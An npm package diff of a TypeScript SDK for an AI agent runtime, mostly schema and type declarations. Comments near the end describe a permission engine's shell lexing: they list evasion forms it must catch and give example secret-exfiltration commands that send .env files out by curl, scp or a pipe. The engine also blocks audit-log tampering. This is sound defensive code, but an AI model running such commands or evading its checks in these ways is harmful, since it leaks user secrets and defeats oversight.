@tansr/sdk 0.13.1 → 0.14.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +33 -0
- package/contract/MANIFEST.json +7 -6
- package/dist/index.d.ts +806 -53
- package/dist/index.js +3865 -1061
- package/package.json +1 -1
package/dist/index.d.ts
CHANGED
|
@@ -879,6 +879,8 @@ declare const IRUsageSchema: z.ZodObject<{
|
|
|
879
879
|
outputTokens: z.ZodNumber;
|
|
880
880
|
cacheReadInputTokens: z.ZodOptional<z.ZodNumber>;
|
|
881
881
|
cacheCreationInputTokens: z.ZodOptional<z.ZodNumber>;
|
|
882
|
+
/** 思考 / 推理输出量(单列上报者填;缺省不落键)。与 outputTokens 的包含关系不由本键自述,由能力位
|
|
883
|
+
* quirks.reasoningTokens 声明(RFC-RF-3;未声明按子集);适配器恒原样透传,消费方按能力位决定是否叠加 */
|
|
882
884
|
reasoningOutputTokens: z.ZodOptional<z.ZodNumber>;
|
|
883
885
|
/**
|
|
884
886
|
* 缓存删除量(contract-v0.4;cached microcompact):
|
|
@@ -1233,6 +1235,8 @@ declare const IRStreamEventSchema: z.ZodDiscriminatedUnion<"t", [z.ZodObject<{
|
|
|
1233
1235
|
outputTokens: z.ZodNumber;
|
|
1234
1236
|
cacheReadInputTokens: z.ZodOptional<z.ZodNumber>;
|
|
1235
1237
|
cacheCreationInputTokens: z.ZodOptional<z.ZodNumber>;
|
|
1238
|
+
/** 思考 / 推理输出量(单列上报者填;缺省不落键)。与 outputTokens 的包含关系不由本键自述,由能力位
|
|
1239
|
+
* quirks.reasoningTokens 声明(RFC-RF-3;未声明按子集);适配器恒原样透传,消费方按能力位决定是否叠加 */
|
|
1236
1240
|
reasoningOutputTokens: z.ZodOptional<z.ZodNumber>;
|
|
1237
1241
|
/**
|
|
1238
1242
|
* 缓存删除量(contract-v0.4;cached microcompact):
|
|
@@ -1657,6 +1661,44 @@ declare const EventBodySchema: z.ZodDiscriminatedUnion<"type", [z.ZodObject<{
|
|
|
1657
1661
|
type: "session.cwd_changed";
|
|
1658
1662
|
from: string;
|
|
1659
1663
|
to: string;
|
|
1664
|
+
}>, z.ZodObject<{
|
|
1665
|
+
type: z.ZodLiteral<"session.events_dropped">;
|
|
1666
|
+
/** 累计丢弃条数(≥1;重复溢出只更新累计) */
|
|
1667
|
+
droppedCount: z.ZodNumber;
|
|
1668
|
+
/** 最近一次触发的上界 */
|
|
1669
|
+
reason: z.ZodEnum<["count_limit", "bytes_limit"]>;
|
|
1670
|
+
/** 丢弃发生的队列归属;词表首值 'sdk.events',自由文本兜底(扩词不 bump) */
|
|
1671
|
+
scope: z.ZodString;
|
|
1672
|
+
/** 累计丢弃近似度量(签发方有账才填) */
|
|
1673
|
+
droppedBytes: z.ZodOptional<z.ZodNumber>;
|
|
1674
|
+
/** 首条被丢事件的 seq */
|
|
1675
|
+
firstDroppedSeq: z.ZodOptional<z.ZodNumber>;
|
|
1676
|
+
/** 末条被丢事件的 seq(≥ firstDroppedSeq) */
|
|
1677
|
+
lastDroppedSeq: z.ZodOptional<z.ZodNumber>;
|
|
1678
|
+
/** 生效条数上界(Infinity 不可 JSON 化 → 缺席 = 不限) */
|
|
1679
|
+
maxEvents: z.ZodOptional<z.ZodNumber>;
|
|
1680
|
+
/** 生效近似度量上界(同上) */
|
|
1681
|
+
maxBytes: z.ZodOptional<z.ZodNumber>;
|
|
1682
|
+
}, "strip", z.ZodTypeAny, {
|
|
1683
|
+
type: "session.events_dropped";
|
|
1684
|
+
droppedCount: number;
|
|
1685
|
+
reason: "count_limit" | "bytes_limit";
|
|
1686
|
+
scope: string;
|
|
1687
|
+
droppedBytes?: number | undefined;
|
|
1688
|
+
firstDroppedSeq?: number | undefined;
|
|
1689
|
+
lastDroppedSeq?: number | undefined;
|
|
1690
|
+
maxEvents?: number | undefined;
|
|
1691
|
+
maxBytes?: number | undefined;
|
|
1692
|
+
}, {
|
|
1693
|
+
type: "session.events_dropped";
|
|
1694
|
+
droppedCount: number;
|
|
1695
|
+
reason: "count_limit" | "bytes_limit";
|
|
1696
|
+
scope: string;
|
|
1697
|
+
droppedBytes?: number | undefined;
|
|
1698
|
+
firstDroppedSeq?: number | undefined;
|
|
1699
|
+
lastDroppedSeq?: number | undefined;
|
|
1700
|
+
maxEvents?: number | undefined;
|
|
1701
|
+
maxBytes?: number | undefined;
|
|
1660
1702
|
}>, z.ZodObject<{
|
|
1661
1703
|
type: z.ZodLiteral<"session.ended">;
|
|
1662
1704
|
}, "strip", z.ZodTypeAny, {
|
|
@@ -2667,6 +2709,44 @@ declare const KernelEventSchema: z.ZodIntersection<z.ZodObject<{
|
|
|
2667
2709
|
type: "session.cwd_changed";
|
|
2668
2710
|
from: string;
|
|
2669
2711
|
to: string;
|
|
2712
|
+
}>, z.ZodObject<{
|
|
2713
|
+
type: z.ZodLiteral<"session.events_dropped">;
|
|
2714
|
+
/** 累计丢弃条数(≥1;重复溢出只更新累计) */
|
|
2715
|
+
droppedCount: z.ZodNumber;
|
|
2716
|
+
/** 最近一次触发的上界 */
|
|
2717
|
+
reason: z.ZodEnum<["count_limit", "bytes_limit"]>;
|
|
2718
|
+
/** 丢弃发生的队列归属;词表首值 'sdk.events',自由文本兜底(扩词不 bump) */
|
|
2719
|
+
scope: z.ZodString;
|
|
2720
|
+
/** 累计丢弃近似度量(签发方有账才填) */
|
|
2721
|
+
droppedBytes: z.ZodOptional<z.ZodNumber>;
|
|
2722
|
+
/** 首条被丢事件的 seq */
|
|
2723
|
+
firstDroppedSeq: z.ZodOptional<z.ZodNumber>;
|
|
2724
|
+
/** 末条被丢事件的 seq(≥ firstDroppedSeq) */
|
|
2725
|
+
lastDroppedSeq: z.ZodOptional<z.ZodNumber>;
|
|
2726
|
+
/** 生效条数上界(Infinity 不可 JSON 化 → 缺席 = 不限) */
|
|
2727
|
+
maxEvents: z.ZodOptional<z.ZodNumber>;
|
|
2728
|
+
/** 生效近似度量上界(同上) */
|
|
2729
|
+
maxBytes: z.ZodOptional<z.ZodNumber>;
|
|
2730
|
+
}, "strip", z.ZodTypeAny, {
|
|
2731
|
+
type: "session.events_dropped";
|
|
2732
|
+
droppedCount: number;
|
|
2733
|
+
reason: "count_limit" | "bytes_limit";
|
|
2734
|
+
scope: string;
|
|
2735
|
+
droppedBytes?: number | undefined;
|
|
2736
|
+
firstDroppedSeq?: number | undefined;
|
|
2737
|
+
lastDroppedSeq?: number | undefined;
|
|
2738
|
+
maxEvents?: number | undefined;
|
|
2739
|
+
maxBytes?: number | undefined;
|
|
2740
|
+
}, {
|
|
2741
|
+
type: "session.events_dropped";
|
|
2742
|
+
droppedCount: number;
|
|
2743
|
+
reason: "count_limit" | "bytes_limit";
|
|
2744
|
+
scope: string;
|
|
2745
|
+
droppedBytes?: number | undefined;
|
|
2746
|
+
firstDroppedSeq?: number | undefined;
|
|
2747
|
+
lastDroppedSeq?: number | undefined;
|
|
2748
|
+
maxEvents?: number | undefined;
|
|
2749
|
+
maxBytes?: number | undefined;
|
|
2670
2750
|
}>, z.ZodObject<{
|
|
2671
2751
|
type: z.ZodLiteral<"session.ended">;
|
|
2672
2752
|
}, "strip", z.ZodTypeAny, {
|
|
@@ -3495,7 +3575,13 @@ declare const IntegritySchema: z.ZodObject<{
|
|
|
3495
3575
|
}>;
|
|
3496
3576
|
/** 记录完整性字段(IntegritySchema 推导)。 */
|
|
3497
3577
|
type Integrity = z.infer<typeof IntegritySchema>;
|
|
3498
|
-
/**
|
|
3578
|
+
/**
|
|
3579
|
+
* 日志记录种类词表:用户输入、助手消息、工具结果、事件、队列入 / 确认、压缩边界、分叉、文件检查点。
|
|
3580
|
+
*
|
|
3581
|
+
* 兼容规则(RFC-RF-2 版本门 C,DEC-RF-20;与 events.ts「消费端必须容忍未知事件 type」对偶):
|
|
3582
|
+
* 读者必须容忍未知 kind(`visibility.model=false` 者留档跳过并告警;`=true` 者拒读)。
|
|
3583
|
+
* 「容忍 ≠ 丢弃」:未知 kind 记录留在 records 原位、参与哈希链校验、游标可落其上;仅不进 messages。
|
|
3584
|
+
*/
|
|
3499
3585
|
declare const JournalKindSchema: z.ZodEnum<["user_prompt", "assistant_message", "tool_result", "event", "queue_enqueue", "queue_ack", "compact_boundary", "fork", "file_checkpoint"]>;
|
|
3500
3586
|
/** 日志记录种类(JournalKindSchema 推导)。 */
|
|
3501
3587
|
type JournalKind = z.infer<typeof JournalKindSchema>;
|
|
@@ -3837,6 +3923,11 @@ declare const CapabilitySchema: z.ZodObject<{
|
|
|
3837
3923
|
/** max_tokens 限额是否不含 reasoning 预算(doubao true 与 kimi/glm false
|
|
3838
3924
|
* 相反实证;成本预估与截断防御的消费点) */
|
|
3839
3925
|
maxTokensExcludesReasoning: z.ZodOptional<z.ZodBoolean>;
|
|
3926
|
+
/** 思考 token 记账轴(contract-v0.27 RFC-RF-3;与 maxTokensExcludesReasoning 限额轴正交):
|
|
3927
|
+
* subset_of_output = 思考量已含在 outputTokens 内(OpenAI *_tokens_details 形态,合计不叠加);
|
|
3928
|
+
* separate = 思考量独立上报(合计须叠加)。可选无默认:undefined = 未实证,消费方按 subset 处置。
|
|
3929
|
+
* 当前无在仓实证,回填须附官方文档引证(URL + 查证日期),不由单例 reasoning ≤ completion 外推 */
|
|
3930
|
+
reasoningTokens: z.ZodOptional<z.ZodEnum<["subset_of_output", "separate"]>>;
|
|
3840
3931
|
}, "strip", z.ZodTypeAny, {
|
|
3841
3932
|
unknownModelFallback: boolean;
|
|
3842
3933
|
claudeModelNameMapping: boolean;
|
|
@@ -3847,6 +3938,7 @@ declare const CapabilitySchema: z.ZodObject<{
|
|
|
3847
3938
|
modelsEndpoint?: boolean | undefined;
|
|
3848
3939
|
minTimeoutMs?: number | undefined;
|
|
3849
3940
|
maxTokensExcludesReasoning?: boolean | undefined;
|
|
3941
|
+
reasoningTokens?: "subset_of_output" | "separate" | undefined;
|
|
3850
3942
|
}, {
|
|
3851
3943
|
stopSequences?: "ignored" | "honored" | "misreported_end_turn" | undefined;
|
|
3852
3944
|
unknownModelFallback?: boolean | undefined;
|
|
@@ -3857,6 +3949,7 @@ declare const CapabilitySchema: z.ZodObject<{
|
|
|
3857
3949
|
modelsEndpoint?: boolean | undefined;
|
|
3858
3950
|
minTimeoutMs?: number | undefined;
|
|
3859
3951
|
maxTokensExcludesReasoning?: boolean | undefined;
|
|
3952
|
+
reasoningTokens?: "subset_of_output" | "separate" | undefined;
|
|
3860
3953
|
}>>;
|
|
3861
3954
|
/**
|
|
3862
3955
|
* contract-v0.4(RFC-B7-2):provider 侧自执行的 hosted 工具单列(如
|
|
@@ -3915,6 +4008,7 @@ declare const CapabilitySchema: z.ZodObject<{
|
|
|
3915
4008
|
modelsEndpoint?: boolean | undefined;
|
|
3916
4009
|
minTimeoutMs?: number | undefined;
|
|
3917
4010
|
maxTokensExcludesReasoning?: boolean | undefined;
|
|
4011
|
+
reasoningTokens?: "subset_of_output" | "separate" | undefined;
|
|
3918
4012
|
};
|
|
3919
4013
|
effectiveContext?: number | undefined;
|
|
3920
4014
|
maxOutput?: number | undefined;
|
|
@@ -3973,6 +4067,7 @@ declare const CapabilitySchema: z.ZodObject<{
|
|
|
3973
4067
|
modelsEndpoint?: boolean | undefined;
|
|
3974
4068
|
minTimeoutMs?: number | undefined;
|
|
3975
4069
|
maxTokensExcludesReasoning?: boolean | undefined;
|
|
4070
|
+
reasoningTokens?: "subset_of_output" | "separate" | undefined;
|
|
3976
4071
|
} | undefined;
|
|
3977
4072
|
hostedTools?: string[] | undefined;
|
|
3978
4073
|
background?: boolean | undefined;
|
|
@@ -4257,6 +4352,11 @@ declare const ProviderProfileSchema: z.ZodObject<{
|
|
|
4257
4352
|
/** max_tokens 限额是否不含 reasoning 预算(doubao true 与 kimi/glm false
|
|
4258
4353
|
* 相反实证;成本预估与截断防御的消费点) */
|
|
4259
4354
|
maxTokensExcludesReasoning: z.ZodOptional<z.ZodBoolean>;
|
|
4355
|
+
/** 思考 token 记账轴(contract-v0.27 RFC-RF-3;与 maxTokensExcludesReasoning 限额轴正交):
|
|
4356
|
+
* subset_of_output = 思考量已含在 outputTokens 内(OpenAI *_tokens_details 形态,合计不叠加);
|
|
4357
|
+
* separate = 思考量独立上报(合计须叠加)。可选无默认:undefined = 未实证,消费方按 subset 处置。
|
|
4358
|
+
* 当前无在仓实证,回填须附官方文档引证(URL + 查证日期),不由单例 reasoning ≤ completion 外推 */
|
|
4359
|
+
reasoningTokens: z.ZodOptional<z.ZodEnum<["subset_of_output", "separate"]>>;
|
|
4260
4360
|
}, "strip", z.ZodTypeAny, {
|
|
4261
4361
|
unknownModelFallback: boolean;
|
|
4262
4362
|
claudeModelNameMapping: boolean;
|
|
@@ -4267,6 +4367,7 @@ declare const ProviderProfileSchema: z.ZodObject<{
|
|
|
4267
4367
|
modelsEndpoint?: boolean | undefined;
|
|
4268
4368
|
minTimeoutMs?: number | undefined;
|
|
4269
4369
|
maxTokensExcludesReasoning?: boolean | undefined;
|
|
4370
|
+
reasoningTokens?: "subset_of_output" | "separate" | undefined;
|
|
4270
4371
|
}, {
|
|
4271
4372
|
stopSequences?: "ignored" | "honored" | "misreported_end_turn" | undefined;
|
|
4272
4373
|
unknownModelFallback?: boolean | undefined;
|
|
@@ -4277,6 +4378,7 @@ declare const ProviderProfileSchema: z.ZodObject<{
|
|
|
4277
4378
|
modelsEndpoint?: boolean | undefined;
|
|
4278
4379
|
minTimeoutMs?: number | undefined;
|
|
4279
4380
|
maxTokensExcludesReasoning?: boolean | undefined;
|
|
4381
|
+
reasoningTokens?: "subset_of_output" | "separate" | undefined;
|
|
4280
4382
|
}>>;
|
|
4281
4383
|
/**
|
|
4282
4384
|
* contract-v0.4(RFC-B7-2):provider 侧自执行的 hosted 工具单列(如
|
|
@@ -4335,6 +4437,7 @@ declare const ProviderProfileSchema: z.ZodObject<{
|
|
|
4335
4437
|
modelsEndpoint?: boolean | undefined;
|
|
4336
4438
|
minTimeoutMs?: number | undefined;
|
|
4337
4439
|
maxTokensExcludesReasoning?: boolean | undefined;
|
|
4440
|
+
reasoningTokens?: "subset_of_output" | "separate" | undefined;
|
|
4338
4441
|
};
|
|
4339
4442
|
effectiveContext?: number | undefined;
|
|
4340
4443
|
maxOutput?: number | undefined;
|
|
@@ -4393,6 +4496,7 @@ declare const ProviderProfileSchema: z.ZodObject<{
|
|
|
4393
4496
|
modelsEndpoint?: boolean | undefined;
|
|
4394
4497
|
minTimeoutMs?: number | undefined;
|
|
4395
4498
|
maxTokensExcludesReasoning?: boolean | undefined;
|
|
4499
|
+
reasoningTokens?: "subset_of_output" | "separate" | undefined;
|
|
4396
4500
|
} | undefined;
|
|
4397
4501
|
hostedTools?: string[] | undefined;
|
|
4398
4502
|
background?: boolean | undefined;
|
|
@@ -4501,6 +4605,7 @@ declare const ProviderProfileSchema: z.ZodObject<{
|
|
|
4501
4605
|
modelsEndpoint?: boolean | undefined;
|
|
4502
4606
|
minTimeoutMs?: number | undefined;
|
|
4503
4607
|
maxTokensExcludesReasoning?: boolean | undefined;
|
|
4608
|
+
reasoningTokens?: "subset_of_output" | "separate" | undefined;
|
|
4504
4609
|
};
|
|
4505
4610
|
effectiveContext?: number | undefined;
|
|
4506
4611
|
maxOutput?: number | undefined;
|
|
@@ -4579,6 +4684,7 @@ declare const ProviderProfileSchema: z.ZodObject<{
|
|
|
4579
4684
|
modelsEndpoint?: boolean | undefined;
|
|
4580
4685
|
minTimeoutMs?: number | undefined;
|
|
4581
4686
|
maxTokensExcludesReasoning?: boolean | undefined;
|
|
4687
|
+
reasoningTokens?: "subset_of_output" | "separate" | undefined;
|
|
4582
4688
|
} | undefined;
|
|
4583
4689
|
hostedTools?: string[] | undefined;
|
|
4584
4690
|
background?: boolean | undefined;
|
|
@@ -4646,6 +4752,28 @@ type McpServerPoolConfig = NonNullable<z.infer<typeof McpServerGovernanceOptionK
|
|
|
4646
4752
|
type McpServerReconnectConfig = NonNullable<z.infer<typeof McpServerGovernanceOptionKeys.reconnect>>;
|
|
4647
4753
|
declare const PermissionModeSchema: z.ZodEnum<["default", "acceptEdits", "plan", "bypassPermissions", "auto", "dontAsk"]>;
|
|
4648
4754
|
type PermissionModeName = z.infer<typeof PermissionModeSchema>;
|
|
4755
|
+
declare const BudgetSectionSchema: z.ZodObject<{
|
|
4756
|
+
/**
|
|
4757
|
+
* 会话 USD 金额上限(单位:美元)。比对口径 = 成本总账中 USD 币种桶的
|
|
4758
|
+
* 纳元累计(kernel cost/tracker.ts)。如实限界:非 USD 计价(内置价格表
|
|
4759
|
+
* 当前全为 CNY)与缺价模型不进本口径——跨币种不可折算(不编造汇率),
|
|
4760
|
+
* 币种无关的兜底请用 maxTotalTokens。
|
|
4761
|
+
*/
|
|
4762
|
+
maxUsd: z.ZodOptional<z.ZodNumber>;
|
|
4763
|
+
/** 会话 token 总量上限(五路 usage 合计:输入+输出+缓存读写+思考) */
|
|
4764
|
+
maxTotalTokens: z.ZodOptional<z.ZodNumber>;
|
|
4765
|
+
/** 超限动作:block=屏障点终止(budget_exceeded);warn=告警一次照常继续 */
|
|
4766
|
+
onExceeded: z.ZodDefault<z.ZodEnum<["block", "warn"]>>;
|
|
4767
|
+
}, "strip", z.ZodTypeAny, {
|
|
4768
|
+
onExceeded: "block" | "warn";
|
|
4769
|
+
maxUsd?: number | undefined;
|
|
4770
|
+
maxTotalTokens?: number | undefined;
|
|
4771
|
+
}, {
|
|
4772
|
+
maxUsd?: number | undefined;
|
|
4773
|
+
maxTotalTokens?: number | undefined;
|
|
4774
|
+
onExceeded?: "block" | "warn" | undefined;
|
|
4775
|
+
}>;
|
|
4776
|
+
type BudgetSection = z.infer<typeof BudgetSectionSchema>;
|
|
4649
4777
|
declare const TansrConfigSchema: z.ZodObject<{
|
|
4650
4778
|
$schemaVersion: z.ZodDefault<z.ZodLiteral<1>>;
|
|
4651
4779
|
providers: z.ZodDefault<z.ZodRecord<z.ZodString, z.ZodObject<{
|
|
@@ -4870,6 +4998,11 @@ declare const TansrConfigSchema: z.ZodObject<{
|
|
|
4870
4998
|
/** max_tokens 限额是否不含 reasoning 预算(doubao true 与 kimi/glm false
|
|
4871
4999
|
* 相反实证;成本预估与截断防御的消费点) */
|
|
4872
5000
|
maxTokensExcludesReasoning: z.ZodOptional<z.ZodBoolean>;
|
|
5001
|
+
/** 思考 token 记账轴(contract-v0.27 RFC-RF-3;与 maxTokensExcludesReasoning 限额轴正交):
|
|
5002
|
+
* subset_of_output = 思考量已含在 outputTokens 内(OpenAI *_tokens_details 形态,合计不叠加);
|
|
5003
|
+
* separate = 思考量独立上报(合计须叠加)。可选无默认:undefined = 未实证,消费方按 subset 处置。
|
|
5004
|
+
* 当前无在仓实证,回填须附官方文档引证(URL + 查证日期),不由单例 reasoning ≤ completion 外推 */
|
|
5005
|
+
reasoningTokens: z.ZodOptional<z.ZodEnum<["subset_of_output", "separate"]>>;
|
|
4873
5006
|
}, "strip", z.ZodTypeAny, {
|
|
4874
5007
|
unknownModelFallback: boolean;
|
|
4875
5008
|
claudeModelNameMapping: boolean;
|
|
@@ -4880,6 +5013,7 @@ declare const TansrConfigSchema: z.ZodObject<{
|
|
|
4880
5013
|
modelsEndpoint?: boolean | undefined;
|
|
4881
5014
|
minTimeoutMs?: number | undefined;
|
|
4882
5015
|
maxTokensExcludesReasoning?: boolean | undefined;
|
|
5016
|
+
reasoningTokens?: "subset_of_output" | "separate" | undefined;
|
|
4883
5017
|
}, {
|
|
4884
5018
|
stopSequences?: "ignored" | "honored" | "misreported_end_turn" | undefined;
|
|
4885
5019
|
unknownModelFallback?: boolean | undefined;
|
|
@@ -4890,6 +5024,7 @@ declare const TansrConfigSchema: z.ZodObject<{
|
|
|
4890
5024
|
modelsEndpoint?: boolean | undefined;
|
|
4891
5025
|
minTimeoutMs?: number | undefined;
|
|
4892
5026
|
maxTokensExcludesReasoning?: boolean | undefined;
|
|
5027
|
+
reasoningTokens?: "subset_of_output" | "separate" | undefined;
|
|
4893
5028
|
}>>;
|
|
4894
5029
|
/**
|
|
4895
5030
|
* contract-v0.4(RFC-B7-2):provider 侧自执行的 hosted 工具单列(如
|
|
@@ -4948,6 +5083,7 @@ declare const TansrConfigSchema: z.ZodObject<{
|
|
|
4948
5083
|
modelsEndpoint?: boolean | undefined;
|
|
4949
5084
|
minTimeoutMs?: number | undefined;
|
|
4950
5085
|
maxTokensExcludesReasoning?: boolean | undefined;
|
|
5086
|
+
reasoningTokens?: "subset_of_output" | "separate" | undefined;
|
|
4951
5087
|
};
|
|
4952
5088
|
effectiveContext?: number | undefined;
|
|
4953
5089
|
maxOutput?: number | undefined;
|
|
@@ -5006,6 +5142,7 @@ declare const TansrConfigSchema: z.ZodObject<{
|
|
|
5006
5142
|
modelsEndpoint?: boolean | undefined;
|
|
5007
5143
|
minTimeoutMs?: number | undefined;
|
|
5008
5144
|
maxTokensExcludesReasoning?: boolean | undefined;
|
|
5145
|
+
reasoningTokens?: "subset_of_output" | "separate" | undefined;
|
|
5009
5146
|
} | undefined;
|
|
5010
5147
|
hostedTools?: string[] | undefined;
|
|
5011
5148
|
background?: boolean | undefined;
|
|
@@ -5114,6 +5251,7 @@ declare const TansrConfigSchema: z.ZodObject<{
|
|
|
5114
5251
|
modelsEndpoint?: boolean | undefined;
|
|
5115
5252
|
minTimeoutMs?: number | undefined;
|
|
5116
5253
|
maxTokensExcludesReasoning?: boolean | undefined;
|
|
5254
|
+
reasoningTokens?: "subset_of_output" | "separate" | undefined;
|
|
5117
5255
|
};
|
|
5118
5256
|
effectiveContext?: number | undefined;
|
|
5119
5257
|
maxOutput?: number | undefined;
|
|
@@ -5192,6 +5330,7 @@ declare const TansrConfigSchema: z.ZodObject<{
|
|
|
5192
5330
|
modelsEndpoint?: boolean | undefined;
|
|
5193
5331
|
minTimeoutMs?: number | undefined;
|
|
5194
5332
|
maxTokensExcludesReasoning?: boolean | undefined;
|
|
5333
|
+
reasoningTokens?: "subset_of_output" | "separate" | undefined;
|
|
5195
5334
|
} | undefined;
|
|
5196
5335
|
hostedTools?: string[] | undefined;
|
|
5197
5336
|
background?: boolean | undefined;
|
|
@@ -6402,6 +6541,7 @@ declare const TansrConfigSchema: z.ZodObject<{
|
|
|
6402
6541
|
modelsEndpoint?: boolean | undefined;
|
|
6403
6542
|
minTimeoutMs?: number | undefined;
|
|
6404
6543
|
maxTokensExcludesReasoning?: boolean | undefined;
|
|
6544
|
+
reasoningTokens?: "subset_of_output" | "separate" | undefined;
|
|
6405
6545
|
};
|
|
6406
6546
|
effectiveContext?: number | undefined;
|
|
6407
6547
|
maxOutput?: number | undefined;
|
|
@@ -6813,6 +6953,7 @@ declare const TansrConfigSchema: z.ZodObject<{
|
|
|
6813
6953
|
modelsEndpoint?: boolean | undefined;
|
|
6814
6954
|
minTimeoutMs?: number | undefined;
|
|
6815
6955
|
maxTokensExcludesReasoning?: boolean | undefined;
|
|
6956
|
+
reasoningTokens?: "subset_of_output" | "separate" | undefined;
|
|
6816
6957
|
} | undefined;
|
|
6817
6958
|
hostedTools?: string[] | undefined;
|
|
6818
6959
|
background?: boolean | undefined;
|
|
@@ -8123,6 +8264,54 @@ interface SpawnLike {
|
|
|
8123
8264
|
launch(spec: SpawnSpec): SpawnedProcessLike;
|
|
8124
8265
|
}
|
|
8125
8266
|
|
|
8267
|
+
/**
|
|
8268
|
+
* 宿主 shell 事实源(单点)。
|
|
8269
|
+
*
|
|
8270
|
+
* Shell 工具在 win32 上经 `powershell.exe -Command` 执行、其余平台经 `/bin/sh -c`
|
|
8271
|
+
* (executor.ts `buildSpawnPlan`);权限引擎的命令词法必须与执行器实际使用的 shell
|
|
8272
|
+
* 一致(PowerShell:未加引号的 `\` 是路径分隔符而非转义;反引号是转义;`&`/`.`
|
|
8273
|
+
* 是调用 / 点源运算符;`{ }` 是脚本块),否则裁决看到的词与真正执行的词不是同一
|
|
8274
|
+
* 组词。执行器与引擎都从本函数取值,任何一侧不得另写
|
|
8275
|
+
* `process.platform === 'win32'` 分叉。
|
|
8276
|
+
*/
|
|
8277
|
+
/** 宿主 shell 方言:posix(/bin/sh 系)或 powershell(Windows PowerShell / pwsh) */
|
|
8278
|
+
type HostShell = 'posix' | 'powershell';
|
|
8279
|
+
|
|
8280
|
+
/**
|
|
8281
|
+
* Shell 命令词法切分与前缀规则匹配(自实现,零第三方依赖)。
|
|
8282
|
+
*
|
|
8283
|
+
* 安全模型(不对称匹配,最严格者胜的落地):
|
|
8284
|
+
* - **allow 侧保守**:只有"字面即所见"的命令才可能命中 allow——
|
|
8285
|
+
* 规则 token 消耗的词必须无引号/转义/展开/通配(防 `"git" push`、`g\it`、
|
|
8286
|
+
* `$GIT`、`g*t` 冒充);可执行体不得是路径形式(`/usr/bin/git`、`.\git`);
|
|
8287
|
+
* 大小写敏感;段内出现子 shell/重定向/命令替换/heredoc 一律不可 allow。
|
|
8288
|
+
* - **deny/ask 侧激进**:用去引号后的值匹配(`"git" push` 仍会命中 deny
|
|
8289
|
+
* `git *`);大小写不敏感;可执行体做 basename + 扩展名归一
|
|
8290
|
+
* (`C:\bin\RM.EXE` → `rm`);迭代剥离环境变量赋值前缀与包装器
|
|
8291
|
+
* (sudo/env/timeout/xargs 等)后再匹配。
|
|
8292
|
+
* - 词法不可解析(未闭合引号、可疑 Unicode 空白、超长、heredoc)→ 整条
|
|
8293
|
+
* 命令不可 allow,由引擎保守落 ask。
|
|
8294
|
+
*
|
|
8295
|
+
* 宿主 shell 感知:词法按 `hostShell` 选方言,与执行器实际派生的 shell
|
|
8296
|
+
* 一致(tools/shell/host-shell.ts 单一事实源):
|
|
8297
|
+
* - posix(缺省,语义逐字节不变):`\` 转义、反引号命令替换、`&` 后台、`{ }` 普通词;
|
|
8298
|
+
* - powershell:未引号 `\` 是字面路径分隔符;反引号是转义(词非字面、段 unsafe;
|
|
8299
|
+
* 行尾悬空 → 不可解析);`''`/`""` 双写引号;`&`(段首)调用运算符、`.`(段首)点源
|
|
8300
|
+
* 运算符作非字面词并标 unsafe;`{ }` 脚本块——块内命令拆为独立的 nested 段逐条
|
|
8301
|
+
* 参与 deny 判定、块本身 unsafe、不平衡 → 不可解析;`<# #>` 块注释;`@"…"@` here-string;
|
|
8302
|
+
* 保留的 `<` → 不可解析。
|
|
8303
|
+
* - 嵌套载荷(两种方言都做,深度 ≤ MAX_NESTED_DEPTH):`sh/bash -c "<载荷>"`、
|
|
8304
|
+
* `eval <载荷>`、`powershell -Command <载荷>` / `-EncodedCommand <base64>`、
|
|
8305
|
+
* `Invoke-Expression <载荷>`、`cmd /c <载荷>` 的载荷按目标 shell 方言再词法化,产出
|
|
8306
|
+
* nested 段(恒 unsafe,不参与顶层结构树)——任一 nested 段命中 deny 即整条 deny;
|
|
8307
|
+
* 载荷不可解析 → 整条不可解析(bypass 亦只能落 ask,绝不 allow)。
|
|
8308
|
+
*
|
|
8309
|
+
* 规则 specifier 语义(`Shell(git *)`):
|
|
8310
|
+
* - 按空白切词;末尾独立 `*` 表示"其余任意多个词(含零个)";
|
|
8311
|
+
* - 中间独立 `*` 匹配恰好一个词;token 内 `*`/`?` 为 token 级通配;
|
|
8312
|
+
* - 无末尾 `*` 时要求词数精确相等(exact 形态)。
|
|
8313
|
+
*/
|
|
8314
|
+
|
|
8126
8315
|
/** 段间链接符(结构树用;'&' 表示前一段被后台化,'newline' 为换行拆段) */
|
|
8127
8316
|
type ShellChainOperator = ';' | '&&' | '||' | '&' | '|' | '|&' | 'newline';
|
|
8128
8317
|
interface ShellRedirect {
|
|
@@ -8237,12 +8426,64 @@ interface BaselineRules {
|
|
|
8237
8426
|
exceptions: readonly string[];
|
|
8238
8427
|
}
|
|
8239
8428
|
|
|
8429
|
+
/**
|
|
8430
|
+
* hard-safety 层(「绝对禁止」红线的可判定子集;INV-2)。
|
|
8431
|
+
*
|
|
8432
|
+
* 定位(处置优先级最高位):引擎管线**第 0 段**,先于 deny 规则、
|
|
8433
|
+
* 先于 bypass——任何 allow / auto / bypass / 分类器 safe / 审批凭证都**不可
|
|
8434
|
+
* 中和**(INV-2)。集合 = 内置 + managed 追加;项目层永不可触(INV-4)。
|
|
8435
|
+
*
|
|
8436
|
+
* 诚实的能力边界(不宣称全量硬保证):绝对禁止面是语义红线,但 shell 内部
|
|
8437
|
+
* 数据流不可全量静态判定。本层只结构化承载**可判定子集**——不可判定部分
|
|
8438
|
+
* 仍进分类器 hard 类目与残余登记。可判定子集 = 两类:
|
|
8439
|
+
*
|
|
8440
|
+
* 1. **同调用秘密外发**(secret.access + network.egress 的组合谓词):
|
|
8441
|
+
* 某个管道内**同时**存在(a)egress 命令(curl/wget/nc/scp/ssh/rsync/
|
|
8442
|
+
* git push 等)与(b)对秘密面路径的引用(argv 里 `.env`/密钥/凭据,含
|
|
8443
|
+
* `@file` 上传形态与 `--flag=@file`/`name=@file`)。覆盖两种落地形态:
|
|
8444
|
+
* · 单命令:`curl -F data=@.env https://x`、`scp .env user@host:`;
|
|
8445
|
+
* · 管道:`cat .env | curl --data-binary @- https://x`(读秘密的命令与
|
|
8446
|
+
* egress 命令由 `|` 相连,数据确定流向外发)。
|
|
8447
|
+
* 不可判定形态(变量间接、base64 转义后外发、子 shell 深层拼装)不在此,
|
|
8448
|
+
* 进分类器/残余登记——不假装拦住。
|
|
8449
|
+
*
|
|
8450
|
+
* 2. **审计篡改/删除**(audit.modify 掩盖行为):写改或删除 tansr 审计
|
|
8451
|
+
* 目录内文件——审计的意义在于 agent 不能抹除自己的痕迹,故为 deny 而非
|
|
8452
|
+
